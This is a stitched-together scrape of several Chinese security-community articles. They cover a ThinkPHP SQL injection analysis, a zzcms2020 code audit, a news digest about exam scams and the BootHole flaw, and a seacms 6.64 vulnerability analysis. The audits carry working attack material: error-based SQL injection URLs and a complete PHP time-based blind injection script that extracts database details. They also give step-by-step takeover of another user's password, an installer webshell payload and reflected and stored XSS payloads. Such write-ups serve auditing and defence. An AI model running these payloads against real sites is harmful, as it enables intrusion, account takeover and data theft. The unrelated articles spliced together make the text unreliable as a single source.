alias：http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
[](https://xzfile.aliyuncs.com/media/upload/picture/20180824173127-79eff908-a780-1.png)
而delete()方法的话同样，这里粗略举三个例子，table,alias,where，但使用table和alias的时候，同时还必须保证where不为空（详细原因后面会说）
where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
[](https://xzfile.aliyuncs.com/media/upload/picture/20180824173127-7a0137e0-a780-1.png)
## 0x02 漏洞分析
通过github上的commit
对比其实可以粗略知道，此次更新主要是在ThinkPHP/Library/Think/Model.class.php文件中，其中对于delete，find，select三个函数进行了修改。
delete函数[](https://xzfile.aliyuncs.com/media/upload/picture/20180824173128-7a13f5ce-a780-1.png)
select函数[](https://xzfile.aliyuncs.com/media/upload/picture/20180824173128-7a29932a-a780-1.png)
find函数[](https://xzfile.aliyuncs.com/media/upload/picture/20180824173128-7a3ba8c6-a780-1.png)
对比三个方法修改的地方都有一个共同点：
>
> 把外部传进来的$options，修改为$this->options，同时不再使用$this->_parseOptions对于$options进行表达式分析。
思考是因为$options可控，再经过_parseOptions函数之后产生了sql注入。
### 一 select 和 find 函数
以find函数为例进行分析（select代码类似），该函数可接受一个$options参数，作为查询数据的条件。
当$options为数字或者字符串类型的时候，直接指定当前查询表的主键作为查询字段：
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
同时提供了对复合主键的查询，看到判断：
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
......
}
要进入复合主键查询代码，需要满足$options为数组同时$pk主键也要为数组，但这个对于表只设置一个主键的时候不成立。
那么就可以使$options为数组，同时找到一个表只有一个主键，就可以绕过两次判断，直接进入_parseOptions进行解析。
if (is_numeric($options) || is_string($options)) {//$options为数组不进入
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) { //$pk不为数组不进入
......
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options); //解析表达式
// 判断查询缓存
.....
$resultSet = $this->db->select($options); //底层执行
之后跟进_parseOptions方法，（分析见代码注释）
if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
$options = array_merge($this->options, $options);
}
if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields(); //设置了进这里
}
// 数据表别名
if (!empty($options['alias'])) {//判断是否设置了数据表别名
$options['table'] .= ' ' . $options['alias']; //注意这里，直接拼接了
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
// 对数组查询条件进行字段类型检查
......
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
$options我们可控，那么就可以控制为数组类型，传入$options[‘table’]或$options[‘alias’]等等，只要提层不进行过滤都是可行的。
同时我们可以不设置$options[‘where’]或者设置$options[‘where’]的值为字符串，可绕过字段类型的验证。
可以看到在整个对$options的解析中没有过滤，直接返回，跟进到底层ThinkPHP\Libray\Think\Db\Diver.class.php，找到select方法，继续跟进最后来到parseSql方法，对$options的值进行替换，解析。
因为$options[‘table’]或$options[‘alias’]都是由parseTable函数进行解析，跟进：
if (is_array($tables)) {//为数组进
// 支持别名定义
......
} elseif (is_string($tables)) {//不为数组进
$tables = array_map(array($this, 'parseKey'), explode(',', $tables));
}
return implode(',', $tables);
当我们传入的值不为数组，直接进行解析返回带进查询，没有任何过滤。
同时$options[‘where’]也一样，看到parseWhere函数
$whereStr = '';
if (is_string($where)) {
// 直接使用字符串条件
$whereStr = $where; //直接返回了，没有任何过滤
} else {
// 使用数组表达式
......
}
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
二 delete函数
delete函数有些不同，主要是在解析完$options之后，还对$options[‘where’]判断了一下是否为空，需要我们传一下值，使之不为空,从而继续执行删除操作。
......
// 分析表达式
$options = $this->_parseOptions($options);
if (empty($options['where'])) { //注意这里，还判断了一下$options['where']是否为空，为空直接返回，不再执行下面的代码。
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if (is_array($options['where']) && isset($options['where'][$pk])) {
$pkValue = $options['where'][$pk];
}
if (false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if (false !== $result && is_numeric($result)) {
$data = array();
if (isset($pkValue)) {
$data[$pk] = $pkValue;
}
$this->_after_delete($data, $options);
}
// 返回删除记录个数
return $result;
## 0x03 漏洞修复
不再分析由外部传进来的$options,使得不再可控$options[‘xxx’]。 | 社区文章 |
# php代码审计初探-zzcms
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
年中左右公司开始注重网络安全相关了，搞了一个src（还没对外开放），先内部鼓励大家多多提交。部门交叉审计其他项目组的代码，找出可能的问题。其实也就是代码安全审计。我虽是开发，但是也一直对安全挺感兴趣的。
这段时间也找出了公司远古项目的一些问题，借此，想简单分享一下关于代码审核的一些经验。
公司的项目当然不可以分享的，另外代码在内网也拿不出来
首先，本地环境搭好，家里台式机安装了 vmware ，上面安装了 centos+Kali
centos是大部分服务器首选的操作系统
Kali是安全人员喜欢用的，上面可操作的工具很多，大家可以百度、下载下来尝试一下
前段时间测试一些环境方面的类库，把centos 搞挂了，今天就在本地演示一下
下载 phpstudy (官方地址：<http://www.phpstudy.net/>) 这个是 windows版本
lamp/lnmp环境，linux+apache(nginx)+MySQL+php
下载安装好之后运行起来，大概长这样（版本不同会有所差异）
这次我们审计的是 zzcms，网上之前可能出现过zzcms的代码审核相关文档，我们百度一下，随便找了俩篇，可以看一下 ，不过这些都是 都是之前的版本，
<https://www.freebuf.com/articles/web/230282.html>
<https://www.cnblogs.com/dfy-blog/p/13782712.html>
我们去zzcms官网看一下（[http://www.zzcms.net）](http://www.zzcms.net%EF%BC%89)
翻一下版本历史，我们发现其实这个cms（内容管理系统，content manage system）还是在维护的，v8.2 还是 17年的版本
这次我们下载最新的版本，他现在这个 命名方式换了，最新版叫 zzcms2020
下载解压之后，放到phpstudy WEB 目录。这里我们看到，他项目根目录下面有个nginx.conf ，是 关于伪静态相关的一个处理
我们把这些拷贝到我们配置的zzcms.conf里面，简单配置一下，大概如下
server {
listen 80;
server_name www.zzcms.local;
access_log logs/zzcms.access.log main;
root "D:/phpStudy/WWW/zzcms2020";
location / {
index index.html index.htm index.php;
autoindex off;
}
rewrite /default.htm$ /zt/show.php;
rewrite ^/index.htm$ /index.php;
rewrite /(zs|dl)/index.htm$ /$1/index.php;
rewrite /area/([0-9,a-z]*).htm$ /area/show.php?province=$1;
rewrite ^/zsclass/([0-9,a-z]*).htm$ /zsclass/class.php?b=$1;
rewrite ^/zsclass/([0-9,a-z]*)$ /zsclass/zsclass.php?b=$1;
rewrite ^/zsclass/([0-9,a-z]*)/([0-9]+).htm$ /zsclass/zsclass.php?b=$1&page=$2;
rewrite /(zs|dl|zx|special|company|pp|zh|job|wangkan|baojia|ask)/index.htm$ /$1/index.php;
rewrite /(zs|dl|zx|special|company|pp|zh|job|wangkan|baojia|ask)/(zs|dl|zx|special|company|pp|zh|job|wangkan|baojia|ask).htm$ /$1/$1.php;
rewrite /(zs|dl|zx|special|company|pp|zh|job|wangkan|baojia|ask)/([0-9]+).htm$ /$1/$1.php?page=$2;
rewrite /(zs|dl|zx|special|company|pp|zh|job|wangkan|baojia|ask)/([0-9,a-z]*)$ /$1/$1.php?b=$2;
rewrite /(zs|dl|zx|special|company|pp|zh|job|wangkan|baojia|ask)/([0-9,a-z]*)/([0-9]+).htm$ /$1/$1.php?b=$2&page=$3;
rewrite /(zs|dl|zx|special|company|pp|zh|job|wangkan|baojia|ask)/([0-9,a-z]*)/([0-9,a-z]*)$ /$1/$1.php?b=$2&s=$3;
rewrite /(zs|dl|zx|special|company|pp|zh|job|wangkan|baojia|ask)/([0-9,a-z]*)/([0-9,a-z]*)/([0-9]+).htm$ /$1/$1.php?b=$2&s=$3&page=$4;
rewrite /(zs|dl|zx|special|company|pp|zh|job|wangkan|baojia|ask|zt)/show-([0-9]+).htm$ /$1/show.php?id=$2;
rewrite /(zx|special)/class/([0-9]+)$ /$1/class.php?b=$2;
rewrite /(zx|special)/show-([0-9]+)-([0-9]+).htm$ /$1/show.php?id=$2&page=$3;
rewrite /(help|link|sitemap).htm$ /one/$1.php;
rewrite /siteinfo-([0-9]+).htm$ /one/siteinfo.php?id=$1;
rewrite /(reg|user|zs)/([0-9,a-z]*).htm$ /$1/$2.php;
rewrite /sell/zsshow-([0-9]+).htm$ /zt/zsshow.php?cpid=$1;
rewrite /sell$ /zt/zs.php;
rewrite /sell/zs-([0-9]+).htm$ /zt/zs.php?id=$1;
rewrite /sell/zs-([0-9]+)-([0-9,a-z,A-Z]*).htm$ /zt/zs.php?id=$1&bigclass=$2;
rewrite /sell/zs-([0-9]+)-([0-9,a-z,A-Z]*)-([0-9,a-z,A-Z]*).htm$ /zt/zs.php?id=$1&bigclass=$2&smallclass=$3;
rewrite /sell/zs-([0-9]+)-([0-9,a-z,A-Z]*)-([0-9,a-z,A-Z]*)-([0-9]+).htm$ /zt/zs.php?id=$1&bigclass=$2&smallclass=$3&page=$4;
rewrite /brand$ /zt/pp.php;
rewrite /brand/pp-([0-9]+).htm$ /zt/pp.php?id=$1;
rewrite /brand/pp-([0-9]+)-([0-9]+).htm$ /zt/pp.php?id=$1&page=$2;
rewrite /brand/ppshow-([0-9]+).htm$ /zt/ppshow.php?cpid=$1;
rewrite /jobs$ /zt/job.php;
rewrite /jobs/job-([0-9]+).htm$ /zt/job.php?id=$1;
rewrite /jobs/job-([0-9]+)-([0-9]+).htm$ /zt/job.php?id=$1&page=$2;
rewrite /jobs/jobshow-([0-9]+).htm$ /zt/jobshow.php?cpid=$1;
rewrite /introduce$ /zt/companyshow.php;
rewrite /introduce/companyshow-([0-9]+).htm$ /zt/companyshow.php?id=$1;
rewrite /contact$ /zt/contact.php?id=$1;
rewrite /contact/contact-([0-9]+).htm$ /zt/contact.php?id=$1;
rewrite /licence$ /zt/licence.php;
rewrite /licence/licence-([0-9,a-z]*).htm$ /zt/licence.php?id=$1;
rewrite /guestbook$ /zt/liuyan.php;
rewrite /guestbook/liuyan-([0-9,a-z]*).htm$ /zt/liuyan.php?id=$1;
rewrite /news$ /zt/news.php;
rewrite /news/$ /zt/news.php;
rewrite /news/news-([0-9]+).htm$ /zt/news.php?id=$1;
rewrite /news/news-([0-9]+)-([0-9]+).htm$ /zt/news.php?id=$1&page=$2;
rewrite /news/newsshow-([0-9]+).htm$ /zt/newsshow.php?newsid=$1;
location ~ \.php(.*)$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_split_path_info ^((?U).+\.php)(/?.+)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
include fastcgi_params;
}
}
访问首页是这样，需要安装一下
安装成功
我们可以看简单看一下源码，我们发现并没有用什么框架，也没有遵循 MVC 设计模式，具体模块无单一入口，完全是 面向过程 开发的。
nginx访问路径只能指到项目根目录下面。到处都是入口，所以，这样很难控制流量的访问，我可以访问项目任意文件，其实有些文件我是不希望外部访问的
大概阅读一下源码，我们可以发现，他真的很‘简单’，前端提交的数据，提交到后台，后台处理一下直接入库，或者直接查询数据库给前端展示，中间cache什么的，都没有，也没有啥复杂逻辑
项目的 inc/ 目录是配置相关的，几乎每个访问路径都会包含 inc/conn.php，我们进去看一下,发现他包含了
include(zzcmsroot."/inc/config.php");
include(zzcmsroot."/inc/wjt.php");
include(zzcmsroot."/inc/function.php");
include(zzcmsroot."/inc/zsclass.php");//分类招商在里面
include(zzcmsroot."/inc/stopsqlin.php");
include(zzcmsroot."/inc/area.php");
主要的几个文件，大致如下：
inc/config.php 是项目所用常量的定义集合，里面也包含了数据库等敏感信息
inc/function.php 是常用函数的一些封装
inc/stopsqlin.php 相当于 防火墙，是入口流量 统一处理相关的，检测危险字符
这里我们可以看到，最新版 ，他基本上过滤检测了前端提交数据的所有方法。
$_COOKIE、$_POST、$_GET 递归转义了所有的单引号或者双引号
$_COOKIE、$_POST、$_GET、$_REQUEST 判断了是否含有危险字符，如下：
`select|update|and|delete|insert|truncate|char|into|iframe|script`
主要是防止sql注入。
这里有点蛋疼，想 联合查询 union select 直接把数据回显到页面上无法实现了。
同样道理，报错注入也不行，另外页面错误显示也没打开，这是符合常理的，一般只有开发或者测试环境会打开报错
项目里面sql查询是很多，但是查询条件基本上都是字符串类型的，例如
`Select * From zzcms_help where id='$id'`
这样我们无法闭合单引号或者双引号，布尔盲注什么的，也就操作不了。
sql注入好像行不通，换个其他的看看吧
我们先简单搜索一下，执行命令相关的函数，比如 `exec\system\passthru\popen`等，发现一个都没有。好吧，，
文件读取相关的（`fread\file_get_contents\fopen\file等`），如果可以任意文件读取，倒是直接读取inc/condfig.php，把数据库相关敏感信息读取出来，我们全局搜一下，，，
类似于这种最后拼接是变量的，我们点进去看一下，看一下变量是否可控，可控的话，一切好说
很遗憾，并没有找到可以操作的地方，都直接限制死了。事实上，整个项目都是如此，看作者过滤时的备注，肯定也意识到此类操作的危险性。
关于这种的
这里简单说一下，页面的 $siteskin 貌似没有定义，其实不是，可以看一下
/inc/conn.php 里面包含的 /inc/stopsqlin.php 文件。里面有这么一段操作
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
@extract($_POST);
@extract($_GET);
}
所以，可以 $_GET[‘siteskin’] 或者 $_POST[‘siteskin’] 传过来，其他文件也相同原理
言归正传，操作系统对文件名有长度的限制，据说如果我们的$_GET[‘siteskin’]超过这个长度限制，那么最后面的 “/area_show.htm”
就会失效。
`利用方法：http://www.zzcms.local/area/show.php`
`POST : siteskin=
test.txt/../inc/config.php/./././././././././././././././././././......(超过一定数量的./)
但是这个我之前在linux上试过，好像不行，据说某些版本的linux支持。windows上没试过，大家有兴趣可以试一下（手动滑稽）`
文件写入相关的（`fwrite\file_put_contents 等`），我们看一下有没有可以写入的地方，，，找了一下，也并没有
图片上传那里，之前版本对文件后缀的过滤是采用黑名单机制，黑名单内不能上传，其他都可以上传，黑名单不全导致恶意文件传上去了，什么phtml文件等，`但是现在
采用白名单机制了，比如图片，我只允许 gif、bmp、jpg、png 这四种`。其他都非法，这样限制死了，也没办法了
之前的getip()我们看一下，最新版已经无法利用了
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) {
$ip = getenv("HTTP_CLIENT_IP");
}else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) {
$ip = getenv("HTTP_X_FORWARDED_FOR");
}else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) {
$ip = getenv("REMOTE_ADDR");
}else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){
$ip = $_SERVER['REMOTE_ADDR'];
}else{
$ip = "unknown";
}
if (check_isip($ip)==false){
$ip = "unknown";
}
return($ip);
}
.....
function check_isip($str)
{
if (preg_match("/^[\d]{2,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}$/", $str))
return true;
return false;
}
`check_isip() 对ip地址做了正则判断`
xss的话，一个反射型触发点是 ask/top.php，这里作者没修复，我们简单触发一下，伪造post请求：
`action=search&lb=#'</script><script>alert('xss')</script><script>location.href='zx&keyword=11`
他可能觉得危害性不大，其实之前版本暴露出来的问题，基本上都已经修复了。说明作者其实也在关注这方面。这里不好评价危害性大不大。存储性xss，暂时前台还没有找到
这样，好像陷入了死胡同，我们再回头看一下 inc/stopsqlin.php 这个文件，我们发现没有过滤 or ，这里好像可以利用。我们需要找一个
查询条件是int类型的，不带单引号或双引号。我们全局搜一下，，，
找到了2处，在 user/adv2.php 这个文件里面
这样，我们可以假设这样查询：
`select * from zzcms_ad where id=9999 or if (4=length(user()),sleep(3),null)`
我们看一下需要怎样才能先把流程走到这里
我们先看一下入口
这里加一条打印信息。
我们看一下 setAdv 方法入口那里，第一行申明的应该是有问题的
`global $f_array,$Username;`
PHP 变量是区分大小写的，他的方法名是不区分大小写的，比如 Exit() exIt() Echo echo 都是ok的。
这里 $Username 全篇没有用到，用到的 $username 用到却没有定义，注意，这是方法里面，不用 global申明，外面相同名称的变量拿不进来。
可以这样访问 `http://www.zzcms.local/user/adv2.php/action=modify`
这里是user模块，我们需要注册一下用户，`我们先注册 usertest1 : usertest1`
访问 返回 ‘个人用户不能抢占广告位’
`我们重新注册一下，选择 公司 用户，usertest2 : usertest2`
访问上面地址，提示需要添加一个产品和一条广告，按照他提示跳转去新增一下
（这里要注意，必须要保证 zzcms_ad 表里面有数据，管理后台添加的）
我们这样提交一下
我们看一下返回时间
是延迟了三秒。OK，没问题，，
我们之前登陆的相关信息，是保存在cookie里面的，可以看到
vm不是有点问题么，我们也不用sqlmap了，我们简单写个脚本把他信息跑出来。
<?php
/**
* 基于时间的盲住
* @author uncle-w
* @date 2020-11-30 14:52
*/
// 本地host配置：127.0.0.1 www.zzcms.local
$url = 'http://www.zzcms.local/user/adv2.php?action=modify';
$sleep = 2;
$upNum = 50;
$asciiNum = 127;
$dbname = getLocalDBName();
echo "Local Dbname : $dbname\n";
$username = getLocalUserName();
echo "Local User : $username\n";
$version = getVersionName();
echo "Local DbVersion : $version\n";
echo "Local Dbname : $dbname\n";
echo "Local User : $username\n";
echo "Local DbVersion : $version\n";
/**
* 获取database信息
* @return string
*/
function getLocalDBName()
{
return getInfoByType('database');
}
/**
* 获取当前连接用户信息
* @return string
*/
function getLocalUserName()
{
return getInfoByType('user');
}
/**
* 获取数据库版本信息
* @return string
*/
function getVersionName()
{
return getInfoByType('version');
}
/**
* 循环提交
* @param string $type 类别
* @return string
*/
function getInfoByType($type)
{
global $sleep,$upNum,$asciiNum;
$length = 0;
for ($i = 1; $i < $upNum; $i++) {
$uid = '9999 or if(length(' . $type . '())=' . $i . ',sleep(' . $sleep . '),null)';
$httpInfo = sendRequest($uid);
if ($httpInfo['total_time'] > $sleep) {
$length = $i;
break;
}
usleep(300000);
}
echo "$type Length : $length \n";
$result = '';
for ($i = 1; $i <= $length; $i++) {
for ($j = 32; $j < $asciiNum; $j++) {
$uid = '999 or if(ascii(substr(' . $type . '(),' . $i . ',1))=' . $j
. ',sleep(' . $sleep . '),null)';
$httpInfo = sendRequest($uid);
if ($httpInfo['total_time'] > $sleep) {
$result .= chr($j);
break;
}
usleep(300000);
}
}
return $result;
}
/**
* 发送请求
* @return array
*/
function sendRequest($uid)
{
global $url;
$cookie = 'UserName=usertest2;PassWord=5bc3f442e2128b2fffd90dfb9d59d701';
$chandle = curl_init($url);
curl_setopt($chandle, CURLOPT_HTTPHEADER, array('Connection: Keep-Alive',));
curl_setopt($chandle, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0');
curl_setopt($chandle, CURLOPT_TIMEOUT, 20);
curl_setopt($chandle, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($chandle, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($chandle, CURLOPT_POST, 1);
curl_setopt($chandle, CURLOPT_POSTFIELDS, 'id=' . $uid);
curl_setopt($chandle, CURLOPT_COOKIE, $cookie);
curl_exec($chandle);
$httpInfo = curl_getinfo($chandle);
curl_close($chandle);
if ($httpInfo) {
echo 'Request Consume Time :' . $httpInfo["total_time"] . "\n";
return $httpInfo;
}
}
可以看到，数据其实是跑出来了
最后结果：
除了这个注入之外，我们再看一下还有没有其他问题，我们重点看一下用户中心模块的相关的逻辑和代码。
`我们发现竟然可以重置他人的密码。`我们注册一个 usertest3 : usertest3 (用户名：密码)`
之前我们注册的 usertest1 : usertest1。
我们以 usertest3 重置 usertest1 的密码
我们点击 找回密码，这里输入 usertest1
点击下一步
这个页面我们看一下代码 /one/getpassword.php
我们发现他是用 action 来控制流程的，在 $action==”step3” 会进入更新密码流程
这里需要 满足三个条件
`A . $action == "step3"`
`B . @$_SESSION['username'] != ''`
`C . @$_POST['yzm_mobile'] == @$_SESSION['yzm_mobile']`
A没问题，直接 `$_POST['action'] = 'step3'`就OK
B的话，我们看一下，如何让 `$_SESSION['username'] 有值不为空`，我们搜一下，发现就在这个文件，当 `$_POST['action']
= 'step1'`，就给他赋值了，，，，
我们只需要访问这个地址 <http://www.zzcms.local/one/getpassword.php>
`POST：action=step1&username=usertest1`
`即可把 $username 赋值给 $_SESSION['username']`，让它不为空
C 的话，我们看一下这个手机验证码哪里触发的，我们全局搜一下 yzm_mobile
我们发现跟赋值相关的，只有 红框里面的俩个文件，我们分别点进去看一下
`关于这个文件 /ajax/dladd_send_yzm_ajax.php`
$mobile=$_GET['id'];
$yzm=rand(100000,999999);
$_SESSION['yzm_mobile']=$yzm;
好家伙，直接赋值了，，，这是要干嘛
然后调用短信接口 sendSMS 方法发送，这里我们直接把信息输出，就不发送了
另外一个文件 /ajax/send_yzm_ajax.php 稍微复杂一点点，大家可以自行研究一下
所以，流程很清除了，我们先B ，设置 $_SESSION[‘username’]，再 C，设置 $_SESSION[‘yzm_mobile’]。最后 A
，POST 提交数据
`POST：action=step3&yzm_mobile=刚刚拿到的验证码&password=xxxxx`
其他方面的，也暂时没发现了。最新版，我们安装成功之后，系统也没有提示我们删除 install 目录下面的敏感文件，我们看了一下，之前版本的
系统重装漏洞也依然存在。
我们可以直接 $_POST[‘step’] = 3 进入第三步骤，这里有个赋值的操作
$token = md5(uniqid(rand(), true));
$_SESSION['token']= $token;
必须要先第三步，后面第四步才不会报错，因为他检测了这个 $_SESSION[‘token’]。填写上账号密码，我们到第五步。
第五步这里，把数据库参数定义成常量，写到 inc/config.php 文件里面
这里本来可以 写入一句话webshell的，预期提交的数据
`$_POST['url'] = http://www.zzcms.local');eval($_POST['cmd']);//`
但是 因为他 处理了单引号，导致写进去的数据无法闭合单引号，无法生成 webshell，有点遗憾。不过这里可以插入
`$_POST['url'] = <script>alert(document.cookie)</script>`
那就是 存储型 xss 了
其他的什么的，好像也没有啥了，这次先到这里吧！
小白在一起交流交流。大牛勿鄙视。
以后有时间再接着探讨！谢谢！ | 社区文章 |
# 安全快讯12 | 安全启动存在严重漏洞，几乎所有Windows设备受影响
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
### 高考报考这事，可能还真没“捷径”
每年高考前后，电信诈骗都处于活跃期，诈骗分子正是利用考生和家长对高考的重视心理实施诈骗。卫士妹给大家总结了高考报考的各类骗局，希望广大学生家长们避坑防骗。
**分数不够，“特殊加分”来凑**
**360安全专家提醒您**
**“加分”** 诈骗是高考诈骗中的“常客”。骗子会自称是高校内部招生老师，或者和学校有内部关系，声称有 **“内部招生名额”、“额外招生指标”**
，花钱就帮忙“运作”进入大学。为了获取信任，他们还会伪造文件、学校印章，设立报名处和咨询电话，看起来非常逼真，在收取费用后即消失不见。
**落榜不怕，上面有人**
**360安全专家提醒您**
冒充高校招生人员、以 **“内部名额”“补录名额”** 等来进行诈骗是非常常见的招生诈骗套路，遇到此类诈骗一定要提高警惕。
**高考补助金，了解一下**
**360安全专家提醒您**
如果考生并没有对 **“高考补助金”** 表示怀疑，诈骗分子便会按照“经典”的电信诈骗套路要求考生登录网银或到ATM机旁进行输入密码、验证码等操作。
**来年再战，复读考虑吗？**
**360安全专家提醒您**
对于那些高考分数高、且有复读打算的考生，诈骗分子常会冒充高中工作人员发放 **“复读补助”、“转校补助”** 等名义进行诱骗，收取各种“保证金”。
### 高考防骗三大法则要牢记
1. 遇到发放 **“补助”“奖金”** 的电话要提高警惕；
2. **“补录名额”、“特长生”、“高考加分”** 等均属诈骗，建议考生在考试后与家长多查阅和了解高考加分、招生政策；
3. 建议安装360手机卫士等手机安全管理软件，识别和拦截诈骗电话、骚扰短信，杜绝个人信息泄露，守护自身信息与财产安全。
## 行业动态
### 工信部部署纵深推进App侵犯用户权益专项整治行动
近日，工业和信息化部在京召开会议，部署开展APP侵害用户权益专项整治行动。会上重点介绍了此次专项行动中整治目标、三类整治对象、四方面重点任务以及10类突出问题。另外全国信息安全标准化技术委员会也发布了《网络安全标准实践指南-移动互联网应用程序系统权限申请使用指引（征求意见稿）》公开征求意见的通知，为帮助App运营者规范App系统权限申请和使用行为，防范因系统权限不当利用造成的个人信息安全风险。
## 国际前沿
### 安全启动存在严重漏洞 几乎所有Linux和Windows设备受影响
7月30日，网络安全研究人员披露了一个位于GRUB2引导程序中的高风险漏洞BootHole（CVE-2020-10713），该漏洞影响了全球数十亿设备，
**几乎波及所有正在运行Linux发行版或Windows系统的服务器、工作站，笔记本电脑，台式机及IoT系统。一旦被利用，该漏洞可让攻击者避开安全启动功能，并获得高度特权，隐身访问目标系统。**
安全启动是一项统一可扩展固件接口（UEFI）的安全功能。在启动加载程序来加载关键组件，外围设备及操作系统的同时，该接口还可确保在启动过程中仅执行已授权（sign）的代码。该功能的设计目标之一，是通过禁用安全启动或以其他方式修改启动链，来防止未经授权的代码（甚至具有管理员权限的运行）获得其他特权，或将操作系统持久化。”
Microsoft确认了该问题，并表示“正在完成解决此漏洞所需的Window更新涉及的验证和兼容性测试”。除Microsoft外，许多主流的Linux发行版也发布了相关的公告，解释了该缺陷，及可能的缓解措施和即将推出的安全补丁程序的时间表。 | 社区文章 |
# seacms v6.64 最新漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 最近seacms 更新了版本，直接从6.61更新到了6.64，
> 小版本之间的时间间隔比较短，但是在新版本发布没有多久，已经有不少最新版本的漏洞被挖掘出，今天我们就来总结分析一下这些漏洞。
## CVE-2018-16445
后台sql注入漏洞，这个漏洞在提交cve的报告中，只列出了sqlmap的扫描结果，并没有写明漏洞产生的原因，作者在第一次溯源的时候也是因为疏忽，竟然没有找到漏洞点。
### 坑点：
1. 相信很多童鞋在做审计的时候，phpstorm的全局搜索也是和作者一样设置的吧，默认搜索的范围是php文件，一些没有用的文件是不去搜索的，因为这样确实是可以加快搜索的速度和进度，不用去看很多js和css等样式文件，以及html等模板文件，但是这个漏洞呢，问题就出在了htm模板文件之中，常规做审计的过程中，还真的是容易忽略！
2. 在利用cve报告中提供的payload进行注入的时候，默认会进行跳转，这样对于漏洞追踪也产生了一点困难。
### 基础知识
要理解这个漏洞，首先要知道一个基础的问题，就是关于php的include机制，我们来做个实验：
1. 首先建立一个php文件，内容如下：
2. 然后建立一个htm文件，文件内容如下：
3. 然后我们运行php文件，结果如下：
4. 结果中我们可以看到，htm文件中的符合php语法的部分被正确解析执行了，当然这算是一个常识，例如我们有一个情景，有一个任意文件包含漏洞，我们怎么才能getshell呢，就可以利用这个知识点，我们首先污染apache或者nginx的日志文件，然后将其包含进来，这个时候其中符合php语法的部分，就会被解析执行，从而我们就能获取webshell，这在渗透中是非常常见的思路，在ctf中也是遇到过很多次了。
### 漏洞分析
经过溯源，漏洞产生的位置是：/admin/templets/admin_video_main.htm的42行附近。
先看一下seacms的全局过滤以及伪全局机制：
这种防御方法有一个弱点，就是如果sql变量没有引号包围，那就相当于没有过滤，是十分危险的。
下面我们来看一下整个的漏洞逻辑部分：
乍一看，整个的处理替换逻辑十分复杂，很难通过肉眼直接看出来，这里可以用一个小技巧，我们既然知道了是sql注入漏洞，那我们可以着重看进入sql查询的过程，我们这里在其中加几个var_dump，就能很明显的看出来了：
经过简化，我们的代码可以抽象成：
然后我们就可以开始测试：
可以清楚的看到，报错注入是可以直接回显结果的，这里我们测试发现cve提交的payload有点小问题，是不用加repeat和allrepeat这两个参数的。
/admin_video.php?order=v_name and (extractvalue(1,concat(0x7e,(select user()),0x7e))) -- 1
提取数据的过程就不累述了，有回显的注入比较好办。
## CVE-2018-17062
这是一串xss漏洞的cve集合，产生问题的文件是admin_video.php
作者给出的利用链接有：
admin_video.php?action=keoiw"><script>alert(1)</script>c7dkw
其余可以利用的参数有：
area
type
yuyan
jqtype
v_isunion
v_recycled
v_ismoney
具体的利用可以参考具体[链接](https://secwk.blogspot.com/2018/09/seacms-664-xss-vulnerability.html)。
我们去看一下这个代码层：
首先这里我们传入的action是不满足任何一个if条件的，所以就进入最后一个else语句，然后我们跟进模板htm文件，查看一下变量的输出是否经过过滤。
可以明显的发现，传入的变量没有经过任何的过滤，就直接输出，上面的参数基本都是这样的模式，所以这个漏洞发现的难度不是很大，但是需要及时跟进业务逻辑的更新操作。
## CVE-2018-17321
同样是新业务点的xss漏洞，利用payload如下：
/admin_datarelate.php?action=dorandomset&maxHit=1000&time=1000</script><script>alert(1)</script>&submit=1
